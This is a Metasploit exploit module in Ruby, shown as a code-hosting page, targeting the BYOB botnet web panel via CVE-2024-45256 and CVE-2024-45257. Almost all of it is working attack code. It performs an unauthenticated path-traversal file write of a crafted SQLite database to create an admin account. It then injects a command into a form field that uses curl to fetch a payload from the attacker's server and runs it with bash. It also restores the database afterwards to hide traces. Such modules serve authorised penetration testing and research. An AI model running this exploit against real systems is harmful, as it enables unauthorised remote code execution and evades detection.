Path: blob/master/modules/exploits/unix/webapp/byob_unauth_rce.rb
33403 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'sqlite3'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::Remote::HttpServer12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'BYOB Unauthenticated RCE via Arbitrary File Write and Command Injection (CVE-2024-45256, CVE-2024-45257)',19'Description' => %q{20This module exploits two vulnerabilities in the BYOB (Build Your Own Botnet) web GUI:211. CVE-2024-45256: Unauthenticated arbitrary file write that allows modification of the SQLite database, adding a new admin user.222. CVE-2024-45257: Authenticated command injection in the payload generation page.2324These vulnerabilities remain unpatched.25},26'Author' => [27'chebuya', # Discoverer and PoC28'Valentin Lobstein' # Metasploit module29],30'License' => MSF_LICENSE,31'References' => [32['CVE', '2024-45256'],33['CVE', '2024-45257'],34['URL', 'https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/']35],36'Targets' => [37[38'Unix/Linux Command Shell', {39'Platform' => %w[unix linux],40'Arch' => ARCH_CMD,41'Privileged' => true42# tested with cmd/linux/http/x64/meterpreter/reverse_tcp43}44]45],46'DisclosureDate' => '2024-08-15',47'DefaultTarget' => 0,48'DefaultOptions' => { 'SRVPORT' => 5000 },49'Notes' => {50'Stability' => [CRASH_SAFE],51'SideEffects' => [IOC_IN_LOGS],52'Reliability' => [REPEATABLE_SESSION]53}54)55)5657register_options(58[59OptString.new('USERNAME', [false, 'Username for new admin', 'admin']),60OptString.new('PASSWORD', [false, 'Password for new admin', nil])61]62)63end6465def primer66add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })67print_status('Payload is ready at /')68end6970def on_request_uri_payload(cli, request)71handle_request(cli, request, payload.encoded)72end7374def handle_request(cli, request, response_payload)75print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")7677case request.uri78when '/'79print_status("Sending response to #{cli.peerhost} for /")80send_response(cli, response_payload)81else82print_error("Request for unknown resource: #{request.uri}")83send_not_found(cli)84end85end8687def check88res = send_request_cgi({89'method' => 'GET',90'uri' => normalize_uri(target_uri.path),91'keep_cookies' => true92})9394if res95doc = res.get_html_document9697unless doc.at('title')&.text&.include?('Build Your Own Botnet') || doc.at('meta[name="description"]')&.attr('content')&.include?('Build Your Own Botnet')98return CheckCode::Safe('The target does not appear to be BYOB.')99end100else101return CheckCode::Unknown('The target did not respond to the initial check.')102end103104print_good('The target appears to be BYOB.')105106random_data = Rex::Text.rand_text_alphanumeric(32)107random_filename = Rex::Text.rand_text_alphanumeric(16)108random_owner = Rex::Text.rand_text_alphanumeric(8)109random_module = Rex::Text.rand_text_alphanumeric(6)110random_session = Rex::Text.rand_text_alphanumeric(6)111112form_data = {113'data' => random_data,114'filename' => random_filename,115'type' => 'txt',116'owner' => random_owner,117'module' => random_module,118'session' => random_session119}120121res = send_request_cgi({122'method' => 'POST',123'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),124'ctype' => 'application/x-www-form-urlencoded',125'vars_post' => form_data,126'keep_cookies' => true127})128129if res&.code == 500130return CheckCode::Vulnerable131else132case res&.code133when 200134return CheckCode::Safe135when nil136return CheckCode::Unknown('The target did not respond.')137else138return CheckCode::Unknown("The target responded with HTTP status #{res.code}")139end140end141end142143def get_csrf(path)144res = send_request_cgi({145'method' => 'GET',146'uri' => normalize_uri(target_uri.path, path),147'keep_cookies' => true148})149150fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token') unless res151152csrf_token = res.get_html_document.at_xpath("//input[@name='csrf_token']/@value")&.text153fail_with(Failure::UnexpectedReply, 'CSRF token not found') if csrf_token.nil?154155csrf_token156end157158def register_user(username, password)159csrf_token = get_csrf('register')160161res = send_request_cgi({162'method' => 'POST',163'uri' => normalize_uri(target_uri.path, 'register'),164'ctype' => 'application/x-www-form-urlencoded',165'vars_post' => {166'csrf_token' => csrf_token,167'username' => username,168'password' => password,169'confirm_password' => password,170'submit' => 'Sign Up'171},172'keep_cookies' => true173})174175if res.nil?176fail_with(Failure::UnexpectedReply, 'No response from the server.')177elsif res.code == 302178print_good('Registered user!')179else180fail_with(Failure::UnexpectedReply, "User registration failed: #{res.code}")181end182end183184def login_user(username, password)185csrf_token = get_csrf('login')186187res = send_request_cgi({188'method' => 'POST',189'uri' => normalize_uri(target_uri.path, 'login'),190'ctype' => 'application/x-www-form-urlencoded',191'vars_post' => {192'csrf_token' => csrf_token,193'username' => username,194'password' => password,195'submit' => 'Log In'196},197'keep_cookies' => true198})199200if res.nil?201fail_with(Failure::UnexpectedReply, 'No response from the server.')202elsif res.code == 302203print_good('Logged in successfully!')204else205fail_with(Failure::UnexpectedReply, "Login failed: #{res.code}")206end207end208209def generate_malicious_db210mem_db = SQLite3::Database.new(':memory:')211212mem_db.execute <<-SQL213CREATE TABLE user (214id INTEGER NOT NULL,215username VARCHAR(32) NOT NULL,216password VARCHAR(60) NOT NULL,217joined DATETIME NOT NULL,218bots INTEGER,219PRIMARY KEY (id),220UNIQUE (username)221);222SQL223224mem_db.execute <<-SQL225CREATE TABLE session (226id INTEGER NOT NULL,227uid VARCHAR(32) NOT NULL,228online BOOLEAN NOT NULL,229joined DATETIME NOT NULL,230last_online DATETIME NOT NULL,231public_ip VARCHAR(42),232local_ip VARCHAR(42),233mac_address VARCHAR(17),234username VARCHAR(32),235administrator BOOLEAN,236platform VARCHAR(5),237device VARCHAR(32),238architecture VARCHAR(2),239latitude FLOAT,240longitude FLOAT,241new BOOLEAN NOT NULL,242owner VARCHAR(120) NOT NULL,243PRIMARY KEY (uid),244UNIQUE (uid),245FOREIGN KEY(owner) REFERENCES user (username)246);247SQL248249mem_db.execute <<-SQL250CREATE TABLE payload (251id INTEGER NOT NULL,252filename VARCHAR(34) NOT NULL,253operating_system VARCHAR(3),254architecture VARCHAR(14),255created DATETIME NOT NULL,256owner VARCHAR(120) NOT NULL,257PRIMARY KEY (id),258UNIQUE (filename),259FOREIGN KEY(owner) REFERENCES user (username)260);261SQL262263mem_db.execute <<-SQL264CREATE TABLE exfiltrated_file (265id INTEGER NOT NULL,266filename VARCHAR(4096) NOT NULL,267session VARCHAR(15) NOT NULL,268module VARCHAR(15) NOT NULL,269created DATETIME NOT NULL,270owner VARCHAR(120) NOT NULL,271PRIMARY KEY (id),272UNIQUE (filename),273FOREIGN KEY(owner) REFERENCES user (username)274);275SQL276277mem_db.execute <<-SQL278CREATE TABLE task (279id INTEGER NOT NULL,280uid VARCHAR(32) NOT NULL,281task TEXT,282result TEXT,283issued DATETIME NOT NULL,284completed DATETIME,285session VARCHAR(32) NOT NULL,286PRIMARY KEY (id),287UNIQUE (uid),288FOREIGN KEY(session) REFERENCES session (uid)289);290SQL291292base64_data = Tempfile.open('database.db') do |file|293src_db = SQLite3::Database.new(file.path)294backup = SQLite3::Backup.new(src_db, 'main', mem_db, 'main')295backup.step(-1)296backup.finish297298binary_data = File.binread(file.path)299300Rex::Text.encode_base64(binary_data)301end302303base64_data304end305306def upload_database_multiple_paths307successful_paths = []308filepaths = [309'/proc/self/cwd/buildyourownbotnet/database.db',310'/proc/self/cwd/../buildyourownbotnet/database.db',311'/proc/self/cwd/../../../../buildyourownbotnet/database.db',312'/proc/self/cwd/instance/database.db',313'/proc/self/cwd/../../../../instance/database.db',314'/proc/self/cwd/../instance/database.db'315]316317filepaths.each do |filepath|318form_data = {319'data' => @encoded_db,320'filename' => filepath,321'type' => 'txt',322'owner' => Faker::Internet.username,323'module' => Faker::App.name.downcase,324'session' => Faker::Alphanumeric.alphanumeric(number: 8)325}326327res = send_request_cgi(328'method' => 'POST',329'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),330'ctype' => 'application/x-www-form-urlencoded',331'vars_post' => form_data,332'keep_cookies' => true333)334335successful_paths << filepath if res&.code == 200336end337338successful_paths339end340341def on_new_session(session)342if session.type == 'meterpreter'343binary_content = Rex::Text.decode_base64(@encoded_db)344345print_status('Restoring the database via Meterpreter to avoid leaving traces.')346347successful_restore = false348349@successful_paths.each do |remote_path|350remote_file = session.fs.file.new(remote_path, 'wb')351remote_file.syswrite(binary_content)352remote_file.close353successful_restore = true354end355356if successful_restore357print_good('Database has been successfully restored to its clean state.')358else359print_error('Failed to restore the database on all attempted paths, but proceeding with the exploitation.')360end361else362print_error('This is not a Meterpreter session. Cannot proceed with database reset, but exploitation continues.')363end364end365366def exploit367# Start necessary services and perform initial setup368start_service369primer370371# Define or generate admin credentials372username = datastore['USERNAME'] || 'admin'373password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)374375# Generate and upload the malicious SQLite database376print_status('Generating malicious SQLite database.')377@encoded_db = generate_malicious_db378379@successful_paths = upload_database_multiple_paths380381if @successful_paths.empty?382fail_with(Failure::UnexpectedReply, 'Failed to upload the database from all known paths')383else384print_good("Malicious database uploaded successfully to the following paths: #{@successful_paths.join(', ')}")385end386387# Register the new admin user388print_status("Registering a new admin user: #{username}:#{password}")389register_user(username, password)390391# Log in with the newly created admin user392print_status('Logging in with the new admin user.')393login_user(username, password)394395# Prepare the malicious payload and inject it via command injection396print_status('Injecting payload via command injection.')397398uri = get_uri.gsub(%r{^https?://}, '').chomp('/')399random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"400malicious_filename = "curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename}"401payload_data = {402'format' => 'exe',403'operating_system' => "nix$(#{malicious_filename})",404'architecture' => 'amd64'405}406407# Send the command injection request408send_request_cgi({409'method' => 'POST',410'uri' => normalize_uri(target_uri.path, 'api', 'payload', 'generate'),411'ctype' => 'application/x-www-form-urlencoded',412'vars_post' => payload_data,413'keep_cookies' => true414}, 5)415416# Keep the web server running to maintain the service417service.wait418end419end420421422